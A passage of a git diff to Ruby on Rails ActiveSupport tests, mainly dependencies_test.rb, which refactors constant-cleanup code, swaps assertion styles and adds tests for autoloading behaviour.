     @s = "Sat, 01 Jan 2000 00:00:00"
     @u = "Sat, 01 Jan 2000 00:00:00 UTC +00:00"
     @z = "Fri, 31 Dec 1999 19:00:00 EST -05:00"
   end
 
-  def teardown
-    Time.zone = nil
-  end
-
   def test_in_time_zone
     with_tz_default 'Alaska' do
       assert_equal 'Sat, 01 Jan 2000 00:00:00 AKST -09:00', @s.in_time_zone.inspect
@@ -1132,13 +1120,4 @@ class TimeWithZoneMethodsForString < ActiveSupport::TestCase
     assert_raise(ArgumentError) { @u.in_time_zone(Object.new) }
     assert_raise(ArgumentError) { @z.in_time_zone(Object.new) }
   end
-
-  protected
-    def with_tz_default(tz = nil)
-      old_tz = Time.zone
-      Time.zone = tz
-      yield
-    ensure
-      Time.zone = old_tz
-    end
 end
diff --git a/activesupport/test/core_ext/uri_ext_test.rb b/activesupport/test/core_ext/uri_ext_test.rb
index 03e388dd7a..1694fe7e72 100644
--- a/activesupport/test/core_ext/uri_ext_test.rb
+++ b/activesupport/test/core_ext/uri_ext_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require 'abstract_unit'
 require 'uri'
 require 'active_support/core_ext/uri'
@@ -7,7 +6,7 @@ class URIExtTest < ActiveSupport::TestCase
   def test_uri_decode_handle_multibyte
     str = "\xE6\x97\xA5\xE6\x9C\xAC\xE8\xAA\x9E" # Ni-ho-nn-go in UTF-8, means Japanese.
 
-    parser = URI::Parser.new
+    parser = URI.parser
     assert_equal str, parser.unescape(parser.escape(str))
   end
 end
diff --git a/activesupport/test/dependencies_test.rb b/activesupport/test/dependencies_test.rb
index 9b84e75902..702e26859a 100644
--- a/activesupport/test/dependencies_test.rb
+++ b/activesupport/test/dependencies_test.rb
@@ -16,15 +16,18 @@ module ModuleWithConstant
 end
 
 class DependenciesTest < ActiveSupport::TestCase
-  def teardown
-    ActiveSupport::Dependencies.clear
+  include DependenciesTestHelpers
+
+  setup do
+    @loaded_features_copy = $LOADED_FEATURES.dup
   end
 
-  include DependenciesTestHelpers
+  teardown do
+    ActiveSupport::Dependencies.clear
+    $LOADED_FEATURES.replace(@loaded_features_copy)
+  end
 
   def test_depend_on_path
-    skip "LoadError#path does not exist" if RUBY_VERSION < '2.0.0'
-
     expected = assert_raises(LoadError) do
       Kernel.require 'omgwtfbbq'
     end
@@ -35,25 +38,39 @@ class DependenciesTest < ActiveSupport::TestCase
     assert_equal expected.path, e.path
   end
 
+  def test_require_dependency_accepts_an_object_which_implements_to_path
+    o = Object.new
+    def o.to_path; 'dependencies/service_one'; end
+    assert_nothing_raised {
+      require_dependency o
+    }
+    assert defined?(ServiceOne)
+  ensure
+    remove_constants(:ServiceOne)
+  end
+
   def test_tracking_loaded_files
-    require_dependency 'dependencies/service_one'
-    require_dependency 'dependencies/service_two'
-    assert_equal 2, ActiveSupport::Dependencies.loaded.size
+    with_loading do
+      require_dependency 'dependencies/service_one'
+      require_dependency 'dependencies/service_two'
+      assert_equal 2, ActiveSupport::Dependencies.loaded.size
+    end
   ensure
-    Object.send(:remove_const, :ServiceOne) if Object.const_defined?(:ServiceOne)
-    Object.send(:remove_const, :ServiceTwo) if Object.const_defined?(:ServiceTwo)
+    remove_constants(:ServiceOne, :ServiceTwo)
   end
 
   def test_tracking_identical_loaded_files
-    require_dependency 'dependencies/service_one'
-    require_dependency 'dependencies/service_one'
-    assert_equal 1, ActiveSupport::Dependencies.loaded.size
+    with_loading do
+      require_dependency 'dependencies/service_one'
+      require_dependency 'dependencies/service_one'
+      assert_equal 1, ActiveSupport::Dependencies.loaded.size
+    end
   ensure
-    Object.send(:remove_const, :ServiceOne) if Object.const_defined?(:ServiceOne)
+    remove_constants(:ServiceOne)
   end
 
   def test_missing_dependency_raises_missing_source_file
-    assert_raise(MissingSourceFile) { require_dependency("missing_service") }
+    assert_raise(LoadError) { require_dependency("missing_service") }
   end
 
   def test_dependency_which_raises_exception_isnt_added_to_loaded_set
@@ -62,16 +79,15 @@ class DependenciesTest < ActiveSupport::TestCase
       $raises_exception_load_count = 0
 
       5.times do |count|
-        begin
+        e = assert_raise Exception, 'should have loaded dependencies/raises_exception which raises an exception' do
           require_dependency filename
-          flunk 'should have loaded dependencies/raises_exception which raises an exception'
-        rescue Exception => e
-          assert_equal 'Loading me failed, so do not add to loaded or history.', e.message
         end
+
+        assert_equal 'Loading me failed, so do not add to loaded or history.', e.message
         assert_equal count + 1, $raises_exception_load_count
 
-        assert !ActiveSupport::Dependencies.loaded.include?(filename)
-        assert !ActiveSupport::Dependencies.history.include?(filename)
+        assert_not ActiveSupport::Dependencies.loaded.include?(filename)
+        assert_not ActiveSupport::Dependencies.history.include?(filename)
       end
     end
   end
@@ -79,7 +95,6 @@ class DependenciesTest < ActiveSupport::TestCase
   def test_dependency_which_raises_doesnt_blindly_call_blame_file!
     with_loading do
       filename = 'dependencies/raises_exception_without_blame_file'
-
       assert_raises(Exception) { require_dependency filename }
     end
   end
@@ -87,13 +102,12 @@ class DependenciesTest < ActiveSupport::TestCase
   def test_warnings_should_be_enabled_on_first_load
     with_loading 'dependencies' do
       old_warnings, ActiveSupport::Dependencies.warnings_on_first_load = ActiveSupport::Dependencies.warnings_on_first_load, true
-
       filename = "check_warnings"
       expanded = File.expand_path("#{File.dirname(__FILE__)}/dependencies/#{filename}")
       $check_warnings_load_count = 0
 
-      assert !ActiveSupport::Dependencies.loaded.include?(expanded)
-      assert !ActiveSupport::Dependencies.history.include?(expanded)
+      assert_not ActiveSupport::Dependencies.loaded.include?(expanded)
+      assert_not ActiveSupport::Dependencies.history.include?(expanded)
 
       silence_warnings { require_dependency filename }
       assert_equal 1, $check_warnings_load_count
@@ -101,7 +115,7 @@ class DependenciesTest < ActiveSupport::TestCase
 
       assert ActiveSupport::Dependencies.loaded.include?(expanded)
       ActiveSupport::Dependencies.clear
-      assert !ActiveSupport::Dependencies.loaded.include?(expanded)
+      assert_not ActiveSupport::Dependencies.loaded.include?(expanded)
       assert ActiveSupport::Dependencies.history.include?(expanded)
 
       silence_warnings { require_dependency filename }
@@ -110,7 +124,7 @@ class DependenciesTest < ActiveSupport::TestCase
 
       assert ActiveSupport::Dependencies.loaded.include?(expanded)
       ActiveSupport::Dependencies.clear
-      assert !ActiveSupport::Dependencies.loaded.include?(expanded)
+      assert_not ActiveSupport::Dependencies.loaded.include?(expanded)
       assert ActiveSupport::Dependencies.history.include?(expanded)
 
       enable_warnings { require_dependency filename }
@@ -143,6 +157,31 @@ class DependenciesTest < ActiveSupport::TestCase
     end
   end
 
+  def test_ensures_the_expected_constant_is_defined
+    with_autoloading_fixtures do
+      e = assert_raise(LoadError) { Typo }
+      assert_match %r{Unable to autoload constant Typo, expected .*activesupport/test/autoloading_fixtures/typo.rb to define it}, e.message
+    end
+  end
+
+  def test_require_dependency_does_not_assume_any_particular_constant_is_defined
+    with_autoloading_fixtures do
+      require_dependency 'typo'
+      assert_equal 1, TypO
+    end
+  end
+
+  # Regression, see https://github.com/rails/rails/issues/16468.
+  def test_require_dependency_interaction_with_autoloading
+    with_autoloading_fixtures do
+      require_dependency 'typo'
+      assert_equal 1, TypO
+
+      e = assert_raise(LoadError) { Typo }
+      assert_match %r{Unable to autoload constant Typo, expected .*activesupport/test/autoloading_fixtures/typo.rb to define it}, e.message
+    end
+  end
+
   def test_module_loading
     with_autoloading_fixtures do
       assert_kind_of Module, A
@@ -164,43 +203,49 @@ class DependenciesTest < ActiveSupport::TestCase
   def test_directories_manifest_as_modules_unless_const_defined
     with_autoloading_fixtures do
       assert_kind_of Module, ModuleFolder
-      Object.__send__ :remove_const, :ModuleFolder
     end
+  ensure
+    remove_constants(:ModuleFolder)
   end
 
   def test_module_with_nested_class
     with_autoloading_fixtures do
       assert_kind_of Class, ModuleFolder::NestedClass
-      Object.__send__ :remove_const, :ModuleFolder
     end
+  ensure
+    remove_constants(:ModuleFolder)
   end
 
   def test_module_with_nested_inline_class
     with_autoloading_fixtures do
       assert_kind_of Class, ModuleFolder::InlineClass
-      Object.__send__ :remove_const, :ModuleFolder
     end
+  ensure
+    remove_constants(:ModuleFolder)
   end
 
   def test_directories_may_manifest_as_nested_classes
     with_autoloading_fixtures do
       assert_kind_of Class, ClassFolder
-      Object.__send__ :remove_const, :ClassFolder
     end
+  ensure
+    remove_constants(:ClassFolder)
   end
 
   def test_class_with_nested_class
     with_autoloading_fixtures do
       assert_kind_of Class, ClassFolder::NestedClass
-      Object.__send__ :remove_const, :ClassFolder
     end
+  ensure
+    remove_constants(:ClassFolder)
   end
 
   def test_class_with_nested_inline_class
     with_autoloading_fixtures do
       assert_kind_of Class, ClassFolder::InlineClass
-      Object.__send__ :remove_const, :ClassFolder
     end
+  ensure
+    remove_constants(:ClassFolder)
   end
 
   def test_class_with_nested_inline_subclass_of_parent
@@ -208,8 +253,9 @@ class DependenciesTest < ActiveSupport::TestCase
       assert_kind_of Class, ClassFolder::ClassFolderSubclass
       assert_kind_of Class, ClassFolder
       assert_equal 'indeed', ClassFolder::ClassFolderSubclass::ConstantInClassFolder
-      Object.__send__ :remove_const, :ClassFolder
     end
+  ensure
+    remove_constants(:ClassFolder)
   end
 
   def test_nested_class_can_access_sibling
@@ -217,16 +263,15 @@ class DependenciesTest < ActiveSupport::TestCase
       sibling = ModuleFolder::NestedClass.class_eval "NestedSibling"
       assert defined?(ModuleFolder::NestedSibling)
       assert_equal ModuleFolder::NestedSibling, sibling
-      Object.__send__ :remove_const, :ModuleFolder
     end
+  ensure
+    remove_constants(:ModuleFolder)
   end
 
   def test_doesnt_break_normal_require
     path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
     original_path = $:.dup
-    original_features = $".dup
     $:.push(path)
-
     with_autoloading_fixtures do
       # The _ = assignments are to prevent warnings
       _ = RequiresConstant
@@ -238,15 +283,13 @@ class DependenciesTest < ActiveSupport::TestCase
       assert defined?(LoadedConstant)
     end
   ensure
-    remove_constants(:RequiresConstant, :LoadedConstant, :LoadsConstant)
-    $".replace(original_features)
+    remove_constants(:RequiresConstant, :LoadedConstant)
     $:.replace(original_path)
   end
 
   def test_doesnt_break_normal_require_nested
     path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
     original_path = $:.dup
-    original_features = $".dup
     $:.push(path)
 
     with_autoloading_fixtures do
@@ -261,14 +304,12 @@ class DependenciesTest < ActiveSupport::TestCase
     end
   ensure
     remove_constants(:RequiresConstant, :LoadedConstant, :LoadsConstant)
-    $".replace(original_features)
     $:.replace(original_path)
   end
 
   def test_require_returns_true_when_file_not_yet_required
     path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
     original_path = $:.dup
-    original_features = $".dup
     $:.push(path)
 
     with_loading do
@@ -276,14 +317,12 @@ class DependenciesTest < ActiveSupport::TestCase
     end
   ensure
     remove_constants(:LoadedConstant)
-    $".replace(original_features)
     $:.replace(original_path)
   end
 
   def test_require_returns_true_when_file_not_yet_required_even_when_no_new_constants_added
     path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
     original_path = $:.dup
-    original_features = $".dup
     $:.push(path)
 
     with_loading do
@@ -292,14 +331,12 @@ class DependenciesTest < ActiveSupport::TestCase
     end
   ensure
     remove_constants(:LoadedConstant)
-    $".replace(original_features)
     $:.replace(original_path)
   end
 
   def test_require_returns_false_when_file_already_required
     path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
     original_path = $:.dup
-    original_features = $".dup
     $:.push(path)
 
     with_loading do
@@ -308,7 +345,6 @@ class DependenciesTest < ActiveSupport::TestCase
     end
   ensure
     remove_constants(:LoadedConstant)
-    $".replace(original_features)
     $:.replace(original_path)
   end
 
@@ -316,14 +352,11 @@ class DependenciesTest < ActiveSupport::TestCase
     with_loading do
       assert_raise(LoadError) { require 'this_file_dont_exist_dude' }
     end
-  ensure
-    remove_constants(:LoadedConstant)
   end
 
   def test_load_returns_true_when_file_found
     path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
     original_path = $:.dup
-    original_features = $".dup
     $:.push(path)
 
     with_loading do
@@ -332,7 +365,6 @@ class DependenciesTest < ActiveSupport::TestCase
     end
   ensure
     remove_constants(:LoadedConstant)
-    $".replace(original_features)
     $:.replace(original_path)
   end
 
@@ -340,41 +372,37 @@ class DependenciesTest < ActiveSupport::TestCase
     with_loading do
       assert_raise(LoadError) { load 'this_file_dont_exist_dude.rb' }
     end
-  ensure
-    remove_constants(:LoadedConstant)
   end
 
   def failing_test_access_thru_and_upwards_fails
     with_autoloading_fixtures do
-      assert ! defined?(ModuleFolder)
+      assert_not defined?(ModuleFolder)
       assert_raise(NameError) { ModuleFolder::Object }
       assert_raise(NameError) { ModuleFolder::NestedClass::Object }
-      Object.__send__ :remove_const, :ModuleFolder
     end
+  ensure
+    remove_constants(:ModuleFolder)
   end
 
   def test_non_existing_const_raises_name_error_with_fully_qualified_name
     with_autoloading_fixtures do
-      begin
-        A::DoesNotExist.nil?
-        flunk "No raise!!"
-      rescue NameError => e
-        assert_equal "uninitialized constant A::DoesNotExist", e.message
-      end
-      begin
-        A::B::DoesNotExist.nil?
-        flunk "No raise!!"
-      rescue NameError => e
-        assert_equal "uninitialized constant A::B::DoesNotExist", e.message
-      end
+      e = assert_raise(NameError) { A::DoesNotExist.nil? }
+      assert_equal "uninitialized constant A::DoesNotExist", e.message
+      assert_equal :DoesNotExist, e.name
+
+      e = assert_raise(NameError) { A::B::DoesNotExist.nil? }
+      assert_equal "uninitialized constant A::B::DoesNotExist", e.message
+      assert_equal :DoesNotExist, e.name
     end
+  ensure
+    remove_constants(:A)
   end
 
   def test_smart_name_error_strings
-    Object.module_eval "ImaginaryObject"
-    flunk "No raise!!"
-  rescue NameError => e
-    assert e.message.include?("uninitialized constant ImaginaryObject")
+    e = assert_raise NameError do
+      Object.module_eval "ImaginaryObject"
+    end
+    assert_includes "uninitialized constant ImaginaryObject", e.message
   end
 
   def test_loadable_constants_for_path_should_handle_empty_autoloads
@@ -457,9 +485,9 @@ class DependenciesTest < ActiveSupport::TestCase
       nil_name = Module.new
       def nil_name.name() nil end
       assert !ActiveSupport::Dependencies.autoloaded?(nil_name)
-
-      Object.class_eval { remove_const :ModuleFolder }
     end
+  ensure
+    remove_constants(:ModuleFolder)
   end
 
   def test_qualified_name_for
@@ -517,46 +545,45 @@ class DependenciesTest < ActiveSupport::TestCase
       assert_kind_of Module, ::ModuleWithCustomConstMissing::A
       assert_kind_of String, ::ModuleWithCustomConstMissing::A::B
     end
+  ensure
+    remove_constants(:ModuleWithCustomConstMissing)
   end
 
-  def test_const_missing_should_not_double_load
-    $counting_loaded_times = 0
+  def test_const_missing_in_anonymous_modules_loads_top_level_constants
     with_autoloading_fixtures do
-      require_dependency '././counting_loader'
-      assert_equal 1, $counting_loaded_times
-      assert_raise(NameError) { ActiveSupport::Dependencies.load_missing_constant Object, :CountingLoader }
-      assert_equal 1, $counting_loaded_times
+      # class_eval STRING pushes the class to the nesting of the eval'ed code.
+      klass = Class.new.class_eval "E"
+      assert_equal E, klass
     end
+  ensure
+    remove_constants(:E)
   end
 
-  def test_const_missing_within_anonymous_module
-    $counting_loaded_times = 0
-    m = Module.new
-    m.module_eval "def a() CountingLoader; end"
-    extend m
+  def test_const_missing_in_anonymous_modules_raises_if_the_constant_belongs_to_Object
     with_autoloading_fixtures do
-      kls = nil
-      assert_nothing_raised { kls = a }
-      assert_equal "CountingLoader", kls.name
-      assert_equal 1, $counting_loaded_times
+      require_dependency 'e'
 
-      assert_nothing_raised { kls = a }
-      assert_equal 1, $counting_loaded_times
+      mod = Module.new
+      e = assert_raise(NameError) { mod::E }
+      assert_equal 'E cannot be autoloaded from an anonymous class or module', e.message
+      assert_equal :E, e.name
     end
+  ensure
+    remove_constants(:E)
   end
 
   def test_removal_from_tree_should_be_detected
     with_loading 'dependencies' do
       c = ServiceOne
       ActiveSupport::Dependencies.clear
-      assert ! defined?(ServiceOne)
-      begin
+      assert_not defined?(ServiceOne)
+      e = assert_raise ArgumentError do
         ActiveSupport::Dependencies.load_missing_constant(c, :FakeMissing)
-        flunk "Expected exception"
-      rescue ArgumentError => e
-        assert_match %r{ServiceOne has been removed from the module tree}i, e.message
       end
+      assert_match %r{ServiceOne has been removed from the module tree}i, e.message
     end
+  ensure
+    remove_constants(:ServiceOne)
   end
 
   def test_references_should_work
@@ -565,42 +592,46 @@ class DependenciesTest < ActiveSupport::TestCase
       service_one_first = ServiceOne
       assert_equal service_one_first, c.get("ServiceOne")
       ActiveSupport::Dependencies.clear
-      assert ! defined?(ServiceOne)
-
+      assert_not defined?(ServiceOne)
       service_one_second = ServiceOne
       assert_not_equal service_one_first, c.get("ServiceOne")
       assert_equal service_one_second, c.get("ServiceOne")
     end
+  ensure
+    remove_constants(:ServiceOne)
   end
 
   def test_constantize_shortcut_for_cached_constant_lookups
     with_loading 'dependencies' do
       assert_equal ServiceOne, ActiveSupport::Dependencies.constantize("ServiceOne")
     end
+  ensure
+    remove_constants(:ServiceOne)
   end
 
   def test_nested_load_error_isnt_rescued
     with_loading 'dependencies' do
-      assert_raise(MissingSourceFile) do
+      assert_raise(LoadError) do
         RequiresNonexistent1
       end
     end
   end
 
   def test_autoload_once_paths_do_not_add_to_autoloaded_constants
+    old_path = ActiveSupport::Dependencies.autoload_once_paths
     with_autoloading_fixtures do
       ActiveSupport::Dependencies.autoload_once_paths = ActiveSupport::Dependencies.autoload_paths.dup
 
-      assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
-      assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
-      assert ! ActiveSupport::Dependencies.autoloaded?(ModuleFolder)
+      assert_not ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
+      assert_not ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
+      assert_not ActiveSupport::Dependencies.autoloaded?(ModuleFolder)
 
       1 if ModuleFolder::NestedClass # 1 if to avoid warning
-      assert ! ActiveSupport::Dependencies.autoloaded?(ModuleFolder::NestedClass)
+      assert_not ActiveSupport::Dependencies.autoloaded?(ModuleFolder::NestedClass)
     end
   ensure
-    Object.class_eval { remove_const :ModuleFolder }
-    ActiveSupport::Dependencies.autoload_once_paths = []
+    remove_constants(:ModuleFolder)
+    ActiveSupport::Dependencies.autoload_once_paths = old_path
   end
 
   def test_autoload_once_pathnames_do_not_add_to_autoloaded_constants
@@ -609,15 +640,15 @@ class DependenciesTest < ActiveSupport::TestCase
       ActiveSupport::Dependencies.autoload_paths = pathnames
       ActiveSupport::Dependencies.autoload_once_paths = pathnames
 
-      assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
-      assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
-      assert ! ActiveSupport::Dependencies.autoloaded?(ModuleFolder)
+      assert_not ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
+      assert_not ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
+      assert_not ActiveSupport::Dependencies.autoloaded?(ModuleFolder)
 
       1 if ModuleFolder::NestedClass # 1 if to avoid warning
-      assert ! ActiveSupport::Dependencies.autoloaded?(ModuleFolder::NestedClass)
+      assert_not ActiveSupport::Dependencies.autoloaded?(ModuleFolder::NestedClass)
     end
   ensure
-    Object.class_eval { remove_const :ModuleFolder }
+    remove_constants(:ModuleFolder)
     ActiveSupport::Dependencies.autoload_once_paths = []
   end
 
@@ -627,6 +658,8 @@ class DependenciesTest < ActiveSupport::TestCase
       assert_equal 10, ApplicationController
       assert ActiveSupport::Dependencies.autoloaded?(:ApplicationController)
     end
+  ensure
+    remove_constants(:ApplicationController)
   end
 
   def test_preexisting_constants_are_not_marked_as_autoloaded
@@ -642,9 +675,8 @@ class DependenciesTest < ActiveSupport::TestCase
       assert ! ActiveSupport::Dependencies.autoloaded?(:E), "E shouldn't be marked autoloaded!"
       ActiveSupport::Dependencies.clear
     end
-
   ensure
-    Object.class_eval { remove_const :E }
+    remove_constants(:E)
   end
 
   def test_constants_in_capitalized_nesting_marked_as_autoloaded
@@ -653,6 +685,8 @@ class DependenciesTest < ActiveSupport::TestCase
 
       assert ActiveSupport::Dependencies.autoloaded?("HTML::SomeClass")
     end
+  ensure
+    remove_constants(:HTML)
   end
 
   def test_unloadable
@@ -683,7 +717,7 @@ class DependenciesTest < ActiveSupport::TestCase
       assert_equal false, M.unloadable
     end
   ensure
-    Object.class_eval { remove_const :M }
+    remove_constants(:M)
   end
 
   def test_unloadable_constants_should_receive_callback
@@ -694,7 +728,7 @@ class DependenciesTest < ActiveSupport::TestCase
     ActiveSupport::Dependencies.clear
     assert !defined?(C)
   ensure
-    Object.class_eval { remove_const :C } if defined?(C)
+    remove_constants(:C)
   end
 
   def test_new_contants_in_without_constants
@@ -708,7 +742,7 @@ class DependenciesTest < ActiveSupport::TestCase
                             }.map(&:to_s)
     assert ActiveSupport::Dependencies.constant_watch_stack.all? {|k,v| v.empty? }
   ensure
-    Object.class_eval { remove_const :Hello }
+    remove_constants(:Hello)
   end
 
   def test_new_constants_in_with_nesting
@@ -725,9 +759,7 @@ class DependenciesTest < ActiveSupport::TestCase
     assert_equal ["OuterAfter", "OuterBefore"], outer.sort.map(&:to_s)
     assert ActiveSupport::Dependencies.constant_watch_stack.all? {|k,v| v.empty? }
   ensure
-    %w(OuterBefore Inner OuterAfter).each do |name|
-      Object.class_eval { remove_const name if const_defined?(name) }
-    end
+    remove_constants(:OuterBefore, :Inner, :OuterAfter)
   end
 
   def test_new_constants_in_module
@@ -746,7 +778,7 @@ class DependenciesTest < ActiveSupport::TestCase
     assert_equal ["M::OuterAfter", "M::OuterBefore"], outer.sort
     assert ActiveSupport::Dependencies.constant_watch_stack.all? {|k,v| v.empty? }
   ensure
-    Object.class_eval { remove_const :M }
+    remove_constants(:M)
   end
 
   def test_new_constants_in_module_using_name
@@ -764,7 +796,7 @@ class DependenciesTest < ActiveSupport::TestCase
     assert_equal ["M::OuterAfter", "M::OuterBefore"], outer.sort
     assert ActiveSupport::Dependencies.constant_watch_stack.all? {|k,v| v.empty? }
   ensure
-    Object.class_eval { remove_const :M }
+    remove_constants(:M)
   end
 
   def test_new_constants_in_with_inherited_constants
@@ -782,26 +814,27 @@ class DependenciesTest < ActiveSupport::TestCase
 
   def test_file_with_multiple_constants_and_require_dependency
     with_autoloading_fixtures do
-      assert ! defined?(MultipleConstantFile)
-      assert ! defined?(SiblingConstant)
+      assert_not defined?(MultipleConstantFile)
+      assert_not defined?(SiblingConstant)
 
       require_dependency 'multiple_constant_file'
       assert defined?(MultipleConstantFile)
       assert defined?(SiblingConstant)
       assert ActiveSupport::Dependencies.autoloaded?(:MultipleConstantFile)
       assert ActiveSupport::Dependencies.autoloaded?(:SiblingConstant)
-
       ActiveSupport::Dependencies.clear
 
-      assert ! defined?(MultipleConstantFile)
-      assert ! defined?(SiblingConstant)
+      assert_not defined?(MultipleConstantFile)
+      assert_not defined?(SiblingConstant)
     end
+  ensure
+    remove_constants(:MultipleConstantFile, :SiblingConstant)
   end
 
   def test_file_with_multiple_constants_and_auto_loading
     with_autoloading_fixtures do
-      assert ! defined?(MultipleConstantFile)
-      assert ! defined?(SiblingConstant)
+      assert_not defined?(MultipleConstantFile)
+      assert_not defined?(SiblingConstant)
 
       assert_equal 10, MultipleConstantFile
 
@@ -812,15 +845,17 @@ class DependenciesTest < ActiveSupport::TestCase
 
       ActiveSupport::Dependencies.clear
 
-      assert ! defined?(MultipleConstantFile)
-      assert ! defined?(SiblingConstant)
+      assert_not defined?(MultipleConstantFile)
+      assert_not defined?(SiblingConstant)
     end
+  ensure
+    remove_constants(:MultipleConstantFile, :SiblingConstant)
   end
 
   def test_nested_file_with_multiple_constants_and_require_dependency
     with_autoloading_fixtures do
-      assert ! defined?(ClassFolder::NestedClass)
-      assert ! defined?(ClassFolder::SiblingClass)
+      assert_not defined?(ClassFolder::NestedClass)
+      assert_not defined?(ClassFolder::SiblingClass)
 
       require_dependency 'class_folder/nested_class'
 
@@ -831,15 +866,17 @@ class DependenciesTest < ActiveSupport::TestCase
 
       ActiveSupport::Dependencies.clear
 
-      assert ! defined?(ClassFolder::NestedClass)
-      assert ! defined?(ClassFolder::SiblingClass)
+      assert_not defined?(ClassFolder::NestedClass)
+      assert_not defined?(ClassFolder::SiblingClass)
     end
+  ensure
+    remove_constants(:ClassFolder)
   end
 
   def test_nested_file_with_multiple_constants_and_auto_loading
     with_autoloading_fixtures do
-      assert ! defined?(ClassFolder::NestedClass)
-      assert ! defined?(ClassFolder::SiblingClass)
+      assert_not defined?(ClassFolder::NestedClass)
+      assert_not defined?(ClassFolder::SiblingClass)
 
       assert_kind_of Class, ClassFolder::NestedClass
 
@@ -850,9 +887,11 @@ class DependenciesTest < ActiveSupport::TestCase
 
       ActiveSupport::Dependencies.clear
 
-      assert ! defined?(ClassFolder::NestedClass)
-      assert ! defined?(ClassFolder::SiblingClass)
+      assert_not defined?(ClassFolder::NestedClass)
+      assert_not defined?(ClassFolder::SiblingClass)
     end
+  ensure
+    remove_constants(:ClassFolder)
   end
 
   def test_autoload_doesnt_shadow_no_method_error_with_relative_constant
@@ -863,9 +902,8 @@ class DependenciesTest < ActiveSupport::TestCase
         assert !defined?(::RaisesNoMethodError), "::RaisesNoMethodError is defined but it should have failed!"
       end
     end
-
   ensure
-    Object.class_eval { remove_const :RaisesNoMethodError if const_defined?(:RaisesNoMethodError) }
+    remove_constants(:RaisesNoMethodError)
   end
 
   def test_autoload_doesnt_shadow_no_method_error_with_absolute_constant
@@ -876,9 +914,8 @@ class DependenciesTest < ActiveSupport::TestCase
         assert !defined?(::RaisesNoMethodError), "::RaisesNoMethodError is defined but it should have failed!"
       end
     end
-
   ensure
-    Object.class_eval { remove_const :RaisesNoMethodError if const_defined?(:RaisesNoMethodError) }
+    remove_constants(:RaisesNoMethodError)
   end
 
   def test_autoload_doesnt_shadow_error_when_mechanism_not_set_to_load
@@ -888,18 +925,17 @@ class DependenciesTest < ActiveSupport::TestCase
         assert_raise(NameError) { assert_equal 123, ::RaisesNameError::FooBarBaz }
       end
     end
+  ensure
+    remove_constants(:RaisesNameError)
   end
 
   def test_autoload_doesnt_shadow_name_error
     with_autoloading_fixtures do
-      Object.send(:remove_const, :RaisesNameError) if defined?(::RaisesNameError)
       2.times do
-        begin
+        e = assert_raise NameError do
           ::RaisesNameError::FooBarBaz.object_id
-          flunk 'should have raised NameError when autoloaded file referenced FooBarBaz'
-        rescue NameError => e
-          assert_equal 'uninitialized constant RaisesNameError::FooBarBaz', e.message
         end
+        assert_equal 'uninitialized constant RaisesNameError::FooBarBaz', e.message
         assert !defined?(::RaisesNameError), "::RaisesNameError is defined but it should have failed!"
       end
 
@@ -909,19 +945,20 @@ class DependenciesTest < ActiveSupport::TestCase
         assert !defined?(::RaisesNameError), "::RaisesNameError is defined but it should have failed!"
       end
     end
-
   ensure
-    Object.class_eval { remove_const :RaisesNoMethodError if const_defined?(:RaisesNoMethodError) }
+    remove_constants(:RaisesNameError)
   end
 
   def test_remove_constant_handles_double_colon_at_start
     Object.const_set 'DeleteMe', Module.new
     DeleteMe.const_set 'OrMe', Module.new
     ActiveSupport::Dependencies.remove_constant "::DeleteMe::OrMe"
-    assert ! defined?(DeleteMe::OrMe)
+    assert_not defined?(DeleteMe::OrMe)
     assert defined?(DeleteMe)
     ActiveSupport::Dependencies.remove_constant "::DeleteMe"
-    assert ! defined?(DeleteMe)
+    assert_not defined?(DeleteMe)
+  ensure
+    remove_constants(:DeleteMe)
   end
 
   def test_remove_constant_does_not_trigger_loading_autoloads
@@ -931,7 +968,9 @@ class DependenciesTest < ActiveSupport::TestCase
     end
 
     assert_nil ActiveSupport::Dependencies.remove_constant(constant), "Kernel#autoload has been triggered by remove_constant"
-    assert !defined?(ShouldNotBeAutoloaded)
+    assert_not defined?(ShouldNotBeAutoloaded)
+  ensure
+    remove_constants(constant)
   end
 
   def test_remove_constant_does_not_autoload_already_removed_parents_as_a_side_effect
@@ -940,11 +979,14 @@ class DependenciesTest < ActiveSupport::TestCase
       _ = ::A::B # assignment to silence parse-time warning "possibly useless use of :: in void context"
       ActiveSupport::Dependencies.remove_constant('A')
       ActiveSupport::Dependencies.remove_constant('A::B')
-      assert !defined?(A)
+      assert_not defined?(A)
     end
+  ensure
+    remove_constants(:A)
   end
 
   def test_load_once_constants_should_not_be_unloaded
+    old_path = ActiveSupport::Dependencies.autoload_once_paths
     with_autoloading_fixtures do
       ActiveSupport::Dependencies.autoload_once_paths = ActiveSupport::Dependencies.autoload_paths
       _ = ::A # assignment to silence parse-time warning "possibly useless use of :: in void context"
@@ -953,30 +995,58 @@ class DependenciesTest < ActiveSupport::TestCase
       assert defined?(A)
     end
   ensure
-    ActiveSupport::Dependencies.autoload_once_paths = []
-    Object.class_eval { remove_const :A if const_defined?(:A) }
+    ActiveSupport::Dependencies.autoload_once_paths = old_path
+    remove_constants(:A)
+  end
+
+  def test_access_unloaded_constants_for_reload
+    with_autoloading_fixtures do
+      assert_kind_of Module, A
+      assert_kind_of Class, A::B # Necessary to load A::B for the test
+      ActiveSupport::Dependencies.mark_for_unload(A::B)
+      ActiveSupport::Dependencies.remove_unloadable_constants!
+
+      A::B # Make sure no circular dependency error
+    end
+  ensure
+    remove_constants(:A)
   end
 
+
   def test_autoload_once_paths_should_behave_when_recursively_loading
+    old_path = ActiveSupport::Dependencies.autoload_once_paths
     with_loading 'dependencies', 'autoloading_fixtures' do
       ActiveSupport::Dependencies.autoload_once_paths = [ActiveSupport::Dependencies.autoload_paths.last]
-      assert !defined?(CrossSiteDependency)
+      assert_not defined?(CrossSiteDependency)
       assert_nothing_raised { CrossSiteDepender.nil? }
       assert defined?(CrossSiteDependency)
